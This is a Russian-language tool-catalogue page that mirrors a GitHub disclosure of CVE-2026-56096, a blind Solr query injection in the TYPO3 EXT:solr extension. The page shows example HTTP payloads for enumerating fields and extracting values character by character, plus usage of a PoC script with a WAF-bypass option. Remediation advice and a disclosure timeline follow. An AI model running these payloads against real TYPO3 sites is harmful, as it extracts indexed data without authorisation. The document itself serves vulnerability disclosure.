Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-56096 — Proof of concept и техническое описание CVE-2026-56096 — слепой инъекции запросов Solr в TYPO3 EXT:solr, позволяющей неаутентифицированное перечисление полей и извлечение данных. | Kitploit
Инструменты/GitHubGitHub/yairhinkis/cve-2026-56096
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьСтатьи и Исследования
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

Proof of concept и техническое описание CVE-2026-56096 — слепой инъекции запросов Solr в TYPO3 EXT:solr, позволяющей неаутентифицированное перечисление полей и извлечение данных.

Репозиторий
3491 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-56096: Инъекция запросов Solr и слепое извлечение данных в TYPO3 EXT:solr

В официальном расширении TYPO3 для Apache Solr (EXT:solr / apache-solr-for-typo3/solr) обнаружена архитектурная уязвимость безопасности. Проблема позволяет неаутентифицированным удалённым злоумышленникам внедрять произвольный синтаксис запросов Solr/Lucene через параметр поиска tx_solr[q], что даёт возможность несанкционированного слепого перебора полей и полного извлечения метаданных из поискового индекса.


Метаданные

  • CVE ID: CVE-2026-56096
  • Тип уязвимости: CWE-943: Ненадлежащая нейтрализация специальных элементов в логике запросов к данным
  • Целевой компонент: EXT:solr (Параметр поиска: tx_solr[q])
  • Оценка CVSS v4.0: 6.3 (Средняя) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • Исследователь: Yair Hinkis

Обзор уязвимости

Расширение EXT:solr принимает поисковые запросы, вводимые пользователем, через параметр tx_solr[q] и передаёт их в движок Apache Solr. По замыслу расширение допускает использование определённых операторов запросов — таких как подстановочные знаки (*), подстановочные знаки для одного символа (?), селекторы полей (:) и диапазонные запросы ([a TO z]) — для поддержки легитимной функциональности, например фасетной фильтрации.

Поскольку эти символы передавались напрямую в конструкцию запроса к бэкенду без принудительного белого списка или слоя абстракции запросов, злоумышленник может передать синтаксис, специфичный для полей, чтобы выйти за предполагаемые границы поиска. Это позволяет неаутентифицированным пользователям напрямую обращаться к внутренним полям Solr и извлекать данные индекса с помощью слепых методов на основе булевых условий.


Техники атаки

1. Перебор полей через field:*

Добавив подстановочный знак к произвольному или предполагаемому имени поля, злоумышленник может проверить, существует ли это поле в схеме:

GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com

Если поле существует, Solr обрабатывает запрос по всем совпадающим записям (часто вызывая различные коды ответа или поведение, связанное с объёмом), что позволяет автоматизировать перебор полей на основе словарей.


2. Слепое извлечение значений через префиксные подстановочные знаки

Злоумышленники могут извлекать конфиденциальные значения полей посимвольно, используя булеву логику:

GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nothing found" (Value does not begin with 'b')

3. Определение длины с помощью оператора ?

Оператор подстановочного знака для одного символа (?) позволяет определить точную длину хранимой строки до начала посимвольного перебора:

GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Checks for 13+ characters)

4. Ускоренные запросы диапазонов ([a TO z])

Запросы диапазонов позволяют выполнять извлечение бинарным поиском по первому символу, сокращая количество необходимых запросов с 26 до ~5 на каждую позицию символа:

GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determines if character falls within 'n'-'z'

Комбинирование определения длины, запросов диапазона и префиксных подстановочных знаков позволяет извлечь всё поле при минимальном объёме запросов.


Доказательство концепции / Использование

Предоставляется автоматизированный скрипт проверки (poc.py) для демонстрации слепого извлечения с использованием описанных выше методов.

Пример использования

python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"

Опции

  • -u, --url: Целевой URL, указывающий на конечную точку поиска TYPO3.

  • -f, --field: Имя поля схемы для перечисления/извлечения (например, appKey, siteHash).

  • -c, --cookies: (Необязательно) Сессионные cookies, если требуется аутентификация/обход WAF для проверки.

  • -o, --output: Выходной файл для сохранения обнаруженных префиксов (по умолчанию: validated_fields.txt).


Воздействие

  • Нарушение конфиденциальности: Полное извлечение всех полей, индексируемых в Apache Solr (например, внутренние системные хеши, скрытое содержимое страниц, метаданные, связанные с пользователями, и системные идентификаторы).
  • Обход контроля доступа: Обход фильтров фронтенд-поиска и ограничений отображения TypoScript.
  • Область действия: Затрагивает все установки по умолчанию, использующие конечную точку поиска EXT:solr.

Устранение

Глобального экранирования символов недостаточно, поскольку операторы * и : обеспечивают предусмотренные функции поиска. Устранение требует белого списка и модели разбора на уровне приложения:

  1. Разбирайте предоставляемые пользователем строки запроса в абстрактное синтаксическое дерево (AST) перед передачей в движок Solr.
  2. Обеспечьте строгие белые списки допустимых целевых полей, запрещая прямые пользовательские запросы к внутренним или ограниченным полям.
  3. Нейтрализуйте злоупотребление операторами, не входящими в белый список, происходящее из недоверенных входных контекстов.

Хронология скоординированного раскрытия

  • 6 марта 2026 г.: Уязвимость выявлена в ходе авторизованной оценки; первичное уведомление поставщика.
  • 17 апреля 2026 г.: Поставщик внедрил локальные пограничные меры защиты; подтверждена природа ошибки в вышестоящем компоненте.
  • 8 мая 2026 г.: Официальный отчёт об уязвимости направлен команде безопасности TYPO3 ([email protected]).
  • 15 июня 2026 г.: Команда безопасности TYPO3 подтвердила воспроизведение и начала разработку исправления совместно с сопровождающими расширения.
  • 25 августа 2026 г.: Выпущен официальный бюллетень безопасности, опубликовано исправление и присвоен идентификатор CVE-2026-56096.

Ссылки

  • Рекомендация по безопасности TYPO3: TYPO3-EXT-SA-2026-025
  • Определение CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Скачать инструмент